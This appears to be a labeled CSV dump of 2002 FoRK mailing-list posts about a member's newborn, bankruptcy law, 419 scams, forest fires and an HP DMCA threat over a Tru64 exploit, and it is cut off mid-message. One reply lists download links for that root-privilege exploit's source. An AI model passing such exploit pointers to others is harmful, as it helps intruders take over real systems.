""oh having the > baby wasnt so bad, you should have one!"". Why else would any woman be > willing to EVER have sex. This tells me two things: 1. You are truly male. 2. You are a male who has a very narrow view of what sex is about. (: C http://xent.com/mailman/listinfo/fork",0,1 ,,"Sat, 27 Jul 2002 19:23:41 -0700 (PDT)",Re: And Away We go,">> Fear not poor Tom, between the pain & endorphins and/or massive >> amounts of drugs, she should remember little of the process. Her body >> is designed to block out the whole event, so that she can tell other >> women ""oh having the baby wasnt so bad, you should have one!"". Why >> else would any woman be willing to EVER have sex. > > This tells me two things: > 1. You are truly male. > 2. You are a male who has a very narrow view of what sex is about. > > (: > > C Having not had a baby meself, but having listened to my mother and countless others retell the tale, I'd reccomend to Adam a few bits of advice: 1) We don't generally have sex just to get preggers. You'd never get laid if that was the case. BUt hey, if we can convince you that the reason women don't have sex with you adam is because they don't want to carry your embittered, angry child, well hey. Girls Win! 2) Birth control. Let me say this again because Adam has forgotten the last 50 years (at least for the pill) BIRTH control. 3) For many women with men who can actually uh... satisfy, sex is great. Maybe you're lacking in this department ? ;) So moral of the story: Women, keep telling Adam that no one will have sex with him because they don't want to get preggers with his angry, bitter children and go through the pain of childbirth. yea.. thats it. ;) > > http://xent.com/mailman/listinfo/fork http://xent.com/mailman/listinfo/fork",0,1 """Adam L. Beberg"" ",,"Sat, 27 Jul 2002 19:30:50 -0700 (PDT)",Re: And Away We go,"On Sat, 27 Jul 2002 bitbitch@magnesium.net wrote: > >> Fear not poor Tom, between the pain & endorphins and/or massive > >> amounts of drugs, she should remember little of the process. Her body > >> is designed to block out the whole event, so that she can tell other > >> women ""oh having the baby wasnt so bad, you should have one!"". Why > >> else would any woman be willing to EVER have sex. > > Having not had a baby meself, but having listened to my mother and > countless others retell the tale, I'd reccomend to Adam a few bits of > advice: > 1) We don't generally have sex just to get preggers. I was of course refering to the last 100 million years or so, the last 50 are just a blip. - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com http://xent.com/mailman/listinfo/fork",0,1 Tom ,CDale ,"Sun, 28 Jul 2002 00:05:08 -0400 (EDT)",Re: And Away We go,"On Sat, 27 Jul 2002, CDale wrote: --]A true geek. Runs to the puter to post before taking a laboring wife to --]the hospital. I'd kill you. LOL Scripts baby:)- One key and I was off.well a few more than one but well under .30 secs of time. http://xent.com/mailman/listinfo/fork",0,1 Tom ,fork@spamassassin.taint.org,"Sun, 28 Jul 2002 00:08:02 -0400 (EDT)",Benjamin Wallace Higgins,"At 12:45 am Benjamin Wallace Higgins made a crash entry into the world. After a night of on again off again activity a C section was called for near noon. Seems the little hacker was messing with the internal cables and got three turns of the umbilical cord around his neck for the effort. Ill have to teach him about the art of cable bundling. Benjamin Wallace came out at 6 lbs 13 oz 20 somthing inches tall and doing what all Higgins boys do best... feed and sleep. Mother and Child are doing great. MOre when I get teh chance. We are in the hospital for 3 days but I have a free terminal scoped out that now has ssh on it. The first pewp...man they prep you for it but northing really can...Wowzer that stuff is road tar. lates -tom http://xent.com/mailman/listinfo/fork",0,1 Tom ,vox@mindvox.com,"Sun, 28 Jul 2002 00:11:15 -0400 (EDT)",Re: [vox] Re: And Away We go,"On Sat, 27 Jul 2002, David Parmet wrote: --] --]Unless, like mine (who made me email everybody while she was on the phone --]with her OB), his wife is a bigger geek than he is. --] She made me do the calls and look for a terminal and she even reminded me to update wsmf.org. Its a geekygeek family. And I had a laptop/firewire/vidcam/modem solution all set up but she nixed that very very harshly.... -tom http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,Tom ,28 Jul 2002 01:22:24 -0400,Re: Benjamin Wallace Higgins,">>>>> ""t"" == tomwhore writes: t> The first pewp...man they prep you for it but northing really t> can...Wowzer that stuff is road tar. First kid, eh? ;) No, there's no prep for it. No prep for the fifth either. If you have any parenting guidance books, burn them now. Congratulations; kudos and regards to the mum. It don't matter how it happened so long as everyone's ok. Starting today, that's three lives that will never be the same. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 """Stephen D. Williams"" ",Gary Lawrence Murphy ,"Mon, 29 Jul 2002 15:00:04 -0400",Re: Benjamin Wallace Higgins,"Congratulations!! A few observations: All children are different and will generally route around whatever technique you learned from relatives, books, talk shows, or the last child. Just when you get good at being a parent, you're done. Don't overprotect. I always called this ""First Baby Syndrome"". A neighbor at one point had a 4 or 5 year old that would choke on jello, probably because she never allowed him to have solid food until he was far too old, IMHO. I fed mine cereal, etc., early and let them get the hang of it. I always want my kids to be able to handle anything if I'm not there so I have them try it out when I am. (Within limits of course.) Of course, I'm now beating up my body at Vans Skate Park trying to do 5ft. half pipes on speed skates with my 10 year old daughter. sdw Gary Lawrence Murphy wrote: >>>>>>""t"" == tomwhore writes: >>>>>> >>>>>> > > t> The first pewp...man they prep you for it but northing really > t> can...Wowzer that stuff is road tar. > >First kid, eh? ;) > >No, there's no prep for it. No prep for the fifth either. If you have >any parenting guidance books, burn them now. > >Congratulations; kudos and regards to the mum. It don't matter how it >happened so long as everyone's ok. > >Starting today, that's three lives that will never be the same. > > > http://xent.com/mailman/listinfo/fork",0,1 """Russell Turpin"" ",fork@spamassassin.taint.org,"Mon, 29 Jul 2002 19:08:05 +0000",Re: [NYT] A Sudden Rush to Declare Bankruptcy is Expected,"Owen Byrne: >I think his beef is that the laws for personal bankruptcy are being >rewritten without touching >corporate bankruptcy, another example of how the legal construct known as a >""corporation"" >is treated more favorably than the non-legal construct known as a ""human >being."" Yeah, I get that. I just think this is a poor example. Corporate bankruptcy is a power fight between creditors, management, and shareholders over control of assets. Because a corporation is incorporeal (hee, hee), it can't be much else. If you're concerned about the imbalance of power related to corporations, I think the more relevant areas are tax structures, especially the income tax, various forms of externality, law related to employment, corporate transparency, and corporate governance. _________________________________________________________________ Chat with friends online, try MSN Messenger: http://messenger.msn.com http://xent.com/mailman/listinfo/fork",0,1 """Adam L. Beberg"" ",James Rogers ,"Mon, 29 Jul 2002 13:47:52 -0700 (PDT)",Re: [NYT] A Sudden Rush to Declare Bankruptcy is Expected,"On 29 Jul 2002, James Rogers wrote: > On Mon, 2002-07-29 at 06:36, Russell Turpin wrote: > > > > Now yeah, creditors are left holding the bag when a > > company goes bankrupt. > > > In my experience, it is the shareholders who are left holding the bag. Yes, the current ones, but rarely if ever the original ones. Mom and pop investor get screwed, while the originals have inside info and have cashed it all or enough out to not care anymore. As for the rules for a corp being different then for people, why do you think we HAVE corporations? Tax benefits, liability benefits, and the ever popular i didn't do it. If everything can be blamed on a virtual ""thing"" then noone has to worry about having their $100M home in florida taken away :) Of course if you read the story on VCs posted earlier, you dont have to worry about corporations happening so much anymore. The old boys network saw they let things get a bit out of control, all those geeks having money, and are definately making sure the money all stays in the family from now on. - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com http://xent.com/mailman/listinfo/fork",0,1 bitbitch@magnesium.net,fork@spamassassin.taint.org,"Tue, 30 Jul 2002 00:05:28 -0700",One scam to rule them all..,"One scam to rule them all, One scam to bind them, One scan to burn them all, And the stupidity bind them. (Yes, i'm ripping, and badly from LOTR) Alright, so NPR's All Things Considered had a wonderful story on the whole Nigerian 419 scams that seem to be running into my inbox constantly (Thanks FoRK!) Turns out, these 419 scams (419 is the statute in Nigeria that this particular form of fraud falls under) have actually snared a few people -- NPR reported to the tune of 100 million dollars over a few years, in the US alone. One website listed the 419 scam as being the 'third to fith largest industry in Nigeria' (1), netting billions of dollars from around the world. Its large enough to warrant a governmental investigation and a special number to call and report (to the secret service, no less) scam abuse. (2) Folks are apparently being held for ransom if they decide to go 'check out' the scam. (3). Listen to the NPR article (4). What's great about NPR is the commentary at the end. Turns out, this is all unbelievably common. The origination, at least to NPR's knowledge, starts with the scam elements being transposed from Nigeria, to London, England. Instead of the bereved widow of a Nigerian national, the originating con was directed to the 'heirs' of Sir Frances Drake's estate. If you were 'chosen' as an heir, you could contribute a portion of your money so that a fellow heir (and scam artist) could reclaim the monetary largess in the Court of England, by proving that Elizabeth I had nulled Sir Drake's will and taken his fortune as her own. Oscar Hartzell, the gent who started this scam, way back in the early 1800s, managed to gain quite a fortune, all on the backs of idiots. Sound familiar? A fool and his money, deserve to be parted. (1) http://home.rica.net/alphae/419coal/ (2) 'If you have received a letter, but have not lost any monies to this scheme, please fax a copy of that letter to (202) 406-5031.' From: http://www.secretservice.gov/alert419.shtml -- They also have a number for those idiots who have lost their money to this. (3) http://www.crimes-of-persuasion.com/Crimes/Business/nigerian.htm (4) http://www.npr.org/ramfiles/atc/20020729.atc.12.ram -- Go down to Nigerian 419 scams So i'm in a wierd mood, go figure. BB -- Best regards, bitbitch mailto:bitbitch@magnesium.net http://xent.com/mailman/listinfo/fork",0,1 Mike Masnick ,"bitbitch@magnesium.net, fork@spamassassin.taint.org","Tue, 30 Jul 2002 00:23:07 -0700",Re: One scam to rule them all..,"At 12:05 AM 7/30/02 -0700, bitbitch@magnesium.net wrote: >common. The origination, at least to NPR's knowledge, starts with the >scam elements being transposed from Nigeria, >to London, England. Instead of the bereved widow of a Nigerian national, >the originating con was directed to the 'heirs' >of Sir Frances Drake's estate. If you were 'chosen' as an heir, you >could contribute a portion of your money so that a >fellow heir (and scam artist) could reclaim the monetary largess in the >Court of England, by proving that Elizabeth I had >nulled Sir Drake's will and taken his fortune as her own. Oscar >Hartzell, the gent who started this scam, way back in the early 1800s, >managed to gain quite a fortune, all on the backs of idiots. Sound familiar? Coincidentally enough, I'm currently in the middle of a pretty good book about the Francis Drake scam called ""Drake's Fortune"" by Richard Raynor. Despite being pretty familiar with the whole 419 scam stuff (see my earlier FoRK post from a few months back about how the whole scam works: http://www.xent.com/pipermail/fork/2002-May/011928.html) I never put the two together as being related. Apparently, I suck at pattern matching. -Mike http://xent.com/mailman/listinfo/fork",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Tue, 30 Jul 2002 13:25:01 +0200 (CEST)",Re: Asteroids anyone ?,"Another one fizzles out... http://www.cnn.com/2002/TECH/space/07/29/asteroid.threat.ap/index.html ------------------------------------------------------------------------------ Asteroid impact with Earth ruled out for 2019 PASADENA, California (AP) -- Astronomers said Monday they have determined that a newly discovered, 1.2-mile-wide asteroid will miss the Earth in 2019. [...] ------------------------------------------------------------------------------ R http://xent.com/mailman/listinfo/fork",0,1 Dave Long ,fork@spamassassin.taint.org,"Tue, 30 Jul 2002 12:00:34 -0700",I am the new #2 [Re: USA USA ...],"> Yes, and the working class deserves what it gets, ... Careful now, you're talking about most (80%) of the country. (although perhaps it is true that in a democracy, the people wind up with the government which they deserve) > ... I grew up in as abject a poverty as you can find in the US ... ... and there is a large excluded middle between those ""in poverty"" and those who are more affluent than ""working class"". I don't know what poverty officially is, but from a CA perspective, $15k income is not going to go far. At current interest rates, one would probably want somewhere around $500k* wealth to throw that amount, which pretty much limits the non-working class to a small, single-digit percentage of households. (how much overlap do we have with the retirement cohort here?) The 2000 numbers pretty much confirm it: shows that the top 5% of incomes are mostly two+-earner households, and the zero-earner households are rare above median incomes. We are the workers' paradise. The census figured $18k as the cutoff for lowest 5th, so with that as a poverty line, the percentages break down as follows: work\pov. yes no yes 9 72 no 11 8 -Dave ::::::::::: * perhaps that's not even enough: ""[Irvine] ""Everyone has to take a job sometime"" / NH3"" (1998 wealth data was supposedly released in 2001, but I haven't seen it yet on the census site. Anyone have a pointer?) ::::::::::: > Do you punish the whole industry due to a few bad apples? >>From what little I have heard, the legislation simply says that lying in one's public figures is not just a matter of cheating the accounts, but really involves stealing time and money from one's employees and investors. How does not tolerating the bad apples equate to punishing the good ones? http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,harley@argote.ch (Robert Harley),31 Jul 2002 00:59:32 -0400,Re: Asteroids anyone ?,">>>>> ""R"" == Robert Harley writes: R> Another one fizzles out... You sound disappointed. Don't worry, there will be lots more. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,Mike Masnick ,31 Jul 2002 01:04:14 -0400,Re: One scam to rule them all..,"What confuses me is, because these ""scam"" artists are laying out all the contact information right out on the table, why don't the police simply pose as recipients of the scam email and trap them? I mean, I get no less than a half dozen a day and they should be real easy to corner. The only answer must be that the authorities in the countries in question must be in on the scam, but isn't international fraud (and kidnapping and murder if the reports I've seen on the media are true) isn't this an Interpol thing? I mean, the perpetrators are not exactly hiding, are they? What I really don't understand is why I keep getting more of these. Don't they know by now that I already made my millions on the first one? -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 """Jon O."" ",fork@spamassassin.taint.org,"Wed, 31 Jul 2002 09:50:20 -0700",vkatalov@elcomsoft.com: Security warning draws DMCA threat,"Looks like HP is using the DMCA to prevent full disclosure of security vulnerablities. This is not a good precedent... ----- Forwarded message from Vladimir Katalov ----- From: Vladimir Katalov Reply-To: Vladimir Katalov Organization: ElcomSoft Co.Ltd. Subject: [DMCA_Discuss] Security warning draws DMCA threat Date: Wed, 31 Jul 2002 15:04:26 +0400 http://news.com.com/2100-1023-947325.html?tag=fd_top By Declan McCullagh Staff Writer, CNET News.com July 30, 2002, 4:48 PM PT WASHINGTON--Hewlett Packard has found a new club to use to pound researchers who unearth flaws in the company's software: the Digital Millennium Copyright Act. Invoking both the controversial 1998 DMCA and computer crime laws, HP has threatened to sue a team of researchers who publicized a vulnerability in the company's Tru64 Unix operating system. In a letter sent on Monday, an HP vice president warned SnoSoft, a loosely organized research collective, that it ""could be fined up to $500,000 and imprisoned for up to five years"" for its role in publishing information on a bug that lets an intruder take over a Tru64 Unix system. HP's dramatic warning appears to be the first time the DMCA has been invoked to stifle research related to computer security. Until now, it's been used by copyright holders to pursue people who distribute computer programs that unlock copyrighted content such as DVDs or encrypted e-books. If HP files suit or persuades the federal government to prosecute, the company could set a precedent that stifles research into computer security flaws, a practice that frequently involves publishing code that demonstrates vulnerabilities. The DMCA restricts code that ""is primarily designed or produced for the purpose of circumventing protection"" of copyrighted works. On July 19, a researcher at SnoSoft posted a note to SecurityFocus.com's popular Bugtraq mailing list with a hyperlink to a computer program letting a Tru64 user gain full administrator privileges. The researcher, who goes by the alias ""Phased,"" said in the message: ""Here is the warez, nothing special, but it does the job."" That public disclosure drew the ire of Kent Ferson, a vice president in HP's Unix systems unit, who alleged in his letter on Monday that the post violated the DMCA and the Computer Fraud and Abuse Act. [...] _______________________________________________ ------------------------ http://www.anti-dmca.org ------------------------ DMCA_Discuss mailing list DMCA_Discuss@lists.microshaft.org http://lists.microshaft.org/mailman/listinfo/dmca_discuss ----- End forwarded message ----- http://xent.com/mailman/listinfo/fork",0,1 Ned Jackson Lovely ,fork@spamassassin.taint.org,"Wed, 31 Jul 2002 13:13:23 -0400",Re: What's cool about doing nothing,"On Wed, Jul 31, 2002 at 10:37:31AM -0600, Marty Halvorson wrote: > A Forest Service official has stated flat out that the tree lovers need to > understand their responsibility in contributing to the number of > uncontrollable (i.e., crown fires caused by very dense tree stands and > under growth) fires by their suits to stop any tree removal from the > forests managed by the Forest Service. Boy, that is rather strange. I've always been under the impression that the uncontrollable forest fires were the result of the Forest Service's long-standing ""10:00 A.M. policy"", in place until the decision in 1963 to switch over to ""let-it-burn"". The 10:00 A.M. policy was based on theories about forest management from Europe, and wasn't as applicable to the American wilds. So, we went from a policy of containment for 100 years to one of letting things burn unless they directly threatened property. 40 years after the end of the containment policy there is still a lot of stuff left to burn. I can't imagine that artificially planted replacement forests, with dense stands of identical trees, help that much either. I would be comfortable laying the fault for these contributing factors squarely with the Forest Service. I would put the blame for many burned homes upon the people who chose to build their dwelling with an unwise combination of materials, location, and landscaping. -- njl http://xent.com/mailman/listinfo/fork",0,1 Marty Halvorson ,fork@spamassassin.taint.org,"Wed, 31 Jul 2002 13:22:19 -0600",Re: What's cool about doing nothing,"Ned Jackson Lovely wrote: > On Wed, Jul 31, 2002 at 10:37:31AM -0600, Marty Halvorson wrote: > > A Forest Service official has stated flat out that the tree lovers need to > > understand their responsibility in contributing to the number of > > uncontrollable (i.e., crown fires caused by very dense tree stands and > > under growth) fires by their suits to stop any tree removal from the > > forests managed by the Forest Service. > > Boy, that is rather strange. I've always been under the impression that > the uncontrollable forest fires were the result of the Forest Service's > long-standing ""10:00 A.M. policy"" If you'll look closely, I said the Forest Service official claimed it was the tree lovers lawsuits that prevented removal of trees by any means as at least partially responsible. The lawsuits prevented the Forest Service from implementation of any project that involved tree removal. These projects were designed to address the tree and undergrowth density that resulted from previous management policies. In other words, Forest Service projects to clean up the mess resulting from their previous forest management practices are prevented by tree lover lawsuits. > 40 years after the end of the containment policy there is still a lot of stuff > left to burn. Exactly, and tree lover lawsuits are preventing the removal of that stuff. The result: Fires like Cerro Grande. > I can't imagine that artificially planted replacement > forests ... There are very few replacement forests planted these days. Those that are, are mostly planted on private land as commercial tree farms. Peace, Marty Halvorson marty@halvorson.us http://xent.com/mailman/listinfo/fork",0,1 Mark Baker ,fork@spamassassin.taint.org,"Wed, 31 Jul 2002 16:30:42 -0400",Clark on Munchkins,"With Mobile IP? Ack! 8-O http://ana-www.lcs.mit.edu/anaweb/PDF/PR_whitepaper_v2.pdf MB -- Mark Baker, CTO, Idokorro Mobile (formerly Planetfred) Ottawa, Ontario, CANADA. distobj@acm.org http://www.markbaker.ca http://www.idokorro.com http://xent.com/mailman/listinfo/fork",0,1 CDale ,Marty Halvorson ,"Wed, 31 Jul 2002 17:08:07 -0500 (CDT)",Re: What's cool about doing nothing,"Okay, I'll ammend that to LIVE OLD tree saving, like the thousands of acres of virgin pine forest that was razed here in MS so that our military can practice desert warfare? Fought it for years, lost, now there is a stand of trees up and down Hwy 49 that's supposed to try to hide the fact that a huge portion of the Desoto Ntl. Forest is gone. C On Wed, 31 Jul 2002, Marty Halvorson wrote: > > So my thanks to those who are active in: > > tree saving (okay, I help some here, but never enough) > > drug rehabilitation (-smirk- shut up, I'm serious) > > keeping some of our freedoms intact (see tree saving) > > health care reform > > puppy dog rescue > > education (move this one to the top of the list) > > etc (lots and lots of etc) > > I can agree with most of this list except tree saving. > > Please understand, I'm in favor of forests. I'm not in favor of messing > with natural processes that forests and trees have evolved over millions of > years. > > Every time I look toward the west from my house I see the result of overly > aggressive tree saving. The Cerro Grande fire that destroyed many (200+) > houses and an area bigger than Boston. > > The Santa Fe watershed, which has as many as 1200 trees per acre in an area > that if left to nature would have 30-60 trees per acre. When the Forest > Service attempted to cull trees in their part of the watershed, the tree > lovers stopped the program with law suits. > > A number of other projects have been stopped by similar suits. For > example, a fire south of Los Alamos that left many usable, but partially > burned, trees standing. The Forest Service started a project to allow > loggers to take those trees. Hah! The tree lovers stopped that. Can't > have the loggers go into the forest even if the trees being taken are > already burned and the roads necessary to get to the trees are already built. > > A Forest Service official has stated flat out that the tree lovers need to > understand their responsibility in contributing to the number of > uncontrollable (i.e., crown fires caused by very dense tree stands and > under growth) fires by their suits to stop any tree removal from the > forests managed by the Forest Service. > > I am writing having survived another season of forest fires. One that saw > many more fires than normal because of the severe drought occurring here in > the Southwest (even though there are still quite a few fires burning). > > Peace, > > Marty Halvorson > marty@halvorson.us > > http://xent.com/mailman/listinfo/fork > -- ""My theology, briefly, is that the universe was dictated but not signed."" (Christopher Morley) http://xent.com/mailman/listinfo/fork",0,1 Elias Sinderson ,fork@spamassassin.taint.org,"Wed, 31 Jul 2002 15:16:20 -0700",Re: What's cool about doing nothing,"Heh. Never mind the perfectly good desert in the southwest, right? Or is that area too hot for desert warfare training? I'll never understand. E CDale wrote: >Okay, I'll ammend that to LIVE OLD tree saving, like the thousands of >acres of virgin pine forest that was razed here in MS so that our military >can practice desert warfare? Fought it for years, lost, now there is a >stand of trees up and down Hwy 49 that's supposed to try to hide the fact >that a huge portion of the Desoto Ntl. Forest is gone. > http://xent.com/mailman/listinfo/fork",0,1 James Rogers ,fork@spamassassin.taint.org,31 Jul 2002 16:02:01 -0700,Re: What's cool about doing nothing,"On Wed, 2002-07-31 at 15:16, Elias Sinderson wrote: > Heh. Never mind the perfectly good desert in the southwest, right? Or is > that area too hot for desert warfare training? I'll never understand. The primary desert warfare facilities and schools ARE in the Southwest, most notably Fort Irwin deep in the Mojave/Anza Borrego (the headquarters and core training facilities for all things desert warfare related), and have been for a long time. There are two reasons that immediately come to mind as to why they do not use the Fort Irwin, Edwards AFB, and other expanses of desert that they have traditionally used for desert warfare training and exercises. The first is logistical: Virtually all the mechanized infantry units are located east of the Rockies, and it must be very expensive to move entire heavy combat divisions a couple thousand miles every time they want to run training exercises. This is particularly true since so much of our military is made up of reserve components these days, meaning that you can't move the soldiers to where the training facilities are. The second is environmental lawsuits and pending judicial action and injunctions. The desert training facilities in the Southwest deserts have been aggressively assaulted by environmental organizations who are making the case that heavy mechanized units zipping back and forth across the deep desert endanger the desert tortoise and a bunch of other theoretically endangered species that are concentrated in the southwest deserts. The ability of the military to use the desert facilities has been significantly impeded these days while all the lawsuits and whatnot with the various environmental groups are being sorted out. -James Rogers jamesr@best.com http://xent.com/mailman/listinfo/fork",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Thu, 1 Aug 2002 00:50:10 +0200 (CEST)",Re: vkatalov@elcomsoft.com: Security warning draws DMCA threat,"Jon O. wrote: > Looks like HP is using the DMCA to prevent full disclosure of > security vulnerablities. This is not a good precedent... > [...] > > WASHINGTON--Hewlett Packard has found a new club to use to pound > > researchers who unearth flaws in the company's software: the Digital > > Millennium Copyright Act. > > > > Invoking both the controversial 1998 DMCA and computer crime laws, HP > > has threatened to sue a team of researchers who publicized a > > vulnerability in the company's Tru64 Unix operating system. > > [...] Well that exploit requires an executable stack so it won't happen on a properly admin-ed system. But anyway grab it if you want from any of a million places, such as: http://www.securiteam.com/exploits/5YP0S2035O.html http://packetstormsecurity.nl/0101-exploits/tru-64.su.c http://spisa.act.uji.es/spi/progs/codigo/www.hack.co.za/exploits/os/dg-ux/alpha/5a/su.c Bye, Rob. .-. .-. / \ .-. .-. / \ / \ / \ .-. _ .-. / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / `-' `-' \ / \ / \ \ / `-' `-' \ / `-' `-' http://xent.com/mailman/listinfo/fork",0,1 CDale ,fork@spamassassin.taint.org,"Wed, 31 Jul 2002 18:08:10 -0500 (CDT)",Re: What's cool about doing nothing,"I think there's a link to all the details on welcomehome.org, but basically it was told to me this way: govt wanted land in arizona or someplace, indians said no, govt said 'okay, u know that land in MS u want? we will fux0r it, then.' indians still said no, govt fux0red it. C On Wed, 31 Jul 2002, Elias Sinderson wrote: > Heh. Never mind the perfectly good desert in the southwest, right? Or is > that area too hot for desert warfare training? I'll never understand. > > E > > CDale wrote: > > >Okay, I'll ammend that to LIVE OLD tree saving, like the thousands of > >acres of virgin pine forest that was razed here in MS so that our military > >can practice desert warfare? Fought it for years, lost, now there is a > >stand of trees up and down Hwy 49 that's supposed to try to hide the fact > >that a huge portion of the Desoto Ntl. Forest is gone. > > > > > http://xent.com/mailman/listinfo/fork > -- ""My theology, briefly, is that the universe was dictated but not signed."" (Christopher Morley) http://xent.com/mailman/listinfo/fork",0,1 Tom ,fork@spamassassin.taint.org,"Thu, 1 Aug 2002 02:11:10 -0400 (EDT)",Pics and thanks,"I gota thank all you kind folk who sent thier well wishes our way. It was a bumpy ride but everything is working out and allthe good vibes are a tremendous help. Ive saved each one and along with the cards and other emails we have been getting we are goign to print them out add them to Benjamins baby book. Ive had just enough time to Gimp up a pic so folks can see the little bloke. Head on over to http://wsmf.blogspot.com/ and have a gander at the boy. -tom(i cant feedem so I changem)whore http://xent.com/mailman/listinfo/fork",0,1 Chris Haun ,James Rogers ,"Thu, 1 Aug 2002 05:34:15 -0400 (EDT)",Re: What's cool about doing nothing,"if it were me, i think i'd have a spare set of tanks in ft. irwin, and just move the soldiers. On 31 Jul 2002, James Rogers wrote: > The first is logistical: Virtually all the mechanized infantry units are > located east of the Rockies, and it must be very expensive to move > entire heavy combat divisions a couple thousand miles every time they > want to run training exercises. This is particularly true since so much > of our military is made up of reserve components these days, meaning > that you can't move the soldiers to where the training facilities are. > http://xent.com/mailman/listinfo/fork",0,1 CDale ,Tom ,"Thu, 1 Aug 2002 05:58:23 -0500 (CDT)",Re: Pics and thanks,"Leave it to Tom to put the one w/ his son's wanker in the center. LOL Reminds me of when my sister called me about the birth of her first son. She goes: ""Cindy, he looks just like his dad, but he's HUNG!"" LOL ehehe Grats, Tom, he's gorgeous. Good thing he doesn't look like you. (: Cindy On Thu, 1 Aug 2002, Tom wrote: > > I gota thank all you kind folk who sent thier well wishes our way. It was > a bumpy ride but everything is working out and allthe good vibes are a > tremendous help. Ive saved each one and along with the cards and other > emails we have been getting we are goign to print them out add them to > Benjamins baby book. > > Ive had just enough time to Gimp up a pic so folks can see the little > bloke. Head on over to http://wsmf.blogspot.com/ and have a gander at the > boy. > > -tom(i cant feedem so I changem)whore > > > > http://xent.com/mailman/listinfo/fork > -- ""My theology, briefly, is that the universe was dictated but not signed."" (Christopher Morley) http://xent.com/mailman/listinfo/fork",0,1 grlygrl201@aol.com,fork@spamassassin.taint.org,"Thu, 1 Aug 2002 04:33:15 -0700 (PDT)",Not Surprised,It took me a week to get down to this; The towering pine and the hemlock. http://www.informationweek.com/story/IWK20020723S0005 http://xent.com/mailman/listinfo/fork,0,1 Gary Lawrence Murphy ,fork@spamassassin.taint.org,15 Jul 2002 14:18:08 -0400,Re: Maybe it's just me ...,">>>>> ""T"" == ThosStew writes: T> ... The Mormon church has a fabulous MIS system, and since it's T> built on geneological tracking If that's what you would like to believe, go right ahead. T> I assume you weren't suggesting that a person's religion T> (assuming the Mormon's ex-CIO was Mormon) should be an T> issue. No, not at all. I was only concerned where the border between religion and cult gets real fuzzy, and where the r/c in question has known paranoiac tendencies. Then again, maybe you're right, it's a very close match in job descriptions. Obviously it does not concern anyone else, and since it's none of my business, I'll shut up about it and put it down to more funky fun in US politics. Afterall, all I know for certain about the Mormons is the background and fallout on my ex-wife's excommunication ;) -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Thu, 1 Aug 2002 17:44:35 +0200 (CEST)",Re: Scramjet works? : HyShot experiment takes-off,"Quoth R. A. Hettinga: >The HyShot experiment - attempting the world`s first flight test of the >supersonic combustion process - was launched at 1135 local time (1205 AEST) >at the Woomera Prohibited Area, 500km north of Adelaide today. Eh? AFAIK, the Russian Kholod program achieved successful supersonic combustion in a scramjet about 10 years ago. Bye, Rob. http://xent.com/mailman/listinfo/fork",0,1 martyh@nmcourts.com (Marty Halvorson),fork@spamassassin.taint.org,"Thu, 01 Aug 2002 09:47:36 -0600",Re: What's cool about doing nothing,"Elias Sinderson wrote: > Heh. Never mind the perfectly good desert in the southwest, right? Or is > that area too hot for desert warfare training? I'll never understand. How hot it feels is affected by both temperature and humidity. In Mississippi they have lots of humidity, in the Southwest, we don't. As I know from experience, Mississippi feels a lot hotter at 90 degrees F. than home (Santa Fe) does at 90. Perhaps the military didn't want to train in a real desert because 1) it get's over 100 degrees and any time the air temp is greater than body temp it affects performance, and 2) when those troops go to a real desert they'll think it's so much nicer than Mississippi. No, I'm not maligning Mississippi. I had a great time passing through last year on vacation. Peace, Marty Halvorson marty@halvorson.us http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,fork@spamassassin.taint.org,01 Aug 2002 11:47:49 -0400,Re: Not Surprised,"Then again, if 57% of CEOs have the time to be as up on technology as their CIO, either one or maybe even /both/ of them are maybe not doing their job, and maybe that's yet another reason the dot-bubble burst. Mind you, I've been head-butting with 'tech-expert' captains (and cooks) all my life. It's probably my own damn fault for making what I do /look/ so easy, and also probably why 'metal guitarists grimmace so when playing a simple rubato ;) -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 Tom ,CDale ,"Thu, 1 Aug 2002 12:59:05 -0400 (EDT)",Re: Pics and thanks,"On Thu, 1 Aug 2002, CDale wrote: --]Leave it to Tom to put the one w/ his son's wanker in the center. Heck, why hide perfection:)- No bias here, nope none whatsoever. Ill have to snap another nudie of him in a few days to show off his bodymodification (snip snip circ circ). I even had an empty chair present:)- -tom http://xent.com/mailman/listinfo/fork",0,1 Mike Masnick ,fork@spamassassin.taint.org,"Thu, 01 Aug 2002 11:38:24 -0700",Naveen Jain steps down,"From: http://www.xent.com/jan00/0823.html > ""There are two kinds of people in this world, right? Nonbelievers and > believers,"" the animated Jain said to his audience at the Chase H&Q > plaNET.wall.street Internet conference last week. ""In other words, those > who don't believe in God, and those who believe in God and InfoSpace. > That's OK -- the nonbelievers will be converted when we become a > trillion-dollar company."" Chalk one up for the nonbelievers: http://www.siliconvalley.com/mld/siliconvalley/3779952.htm InfoSpace CEO to step down BELLEVUE, Wash. AP) - InfoSpace Inc. chairman and chief executive Naveen Jain will step down from his posts once the Internet services and software company finds a replacement. Jain, a former Microsoft executive, founded InfoSpace six years ago and led the company through its rise and fall. His departure from the top posts was announced Wednesday. With its stock now trading for dimes, InfoSpace is in danger of being delisted from the Nasdaq Stock Market. The company is asking shareholders to approve a one-for-10 reverse stock split to prop up the price. If approved on 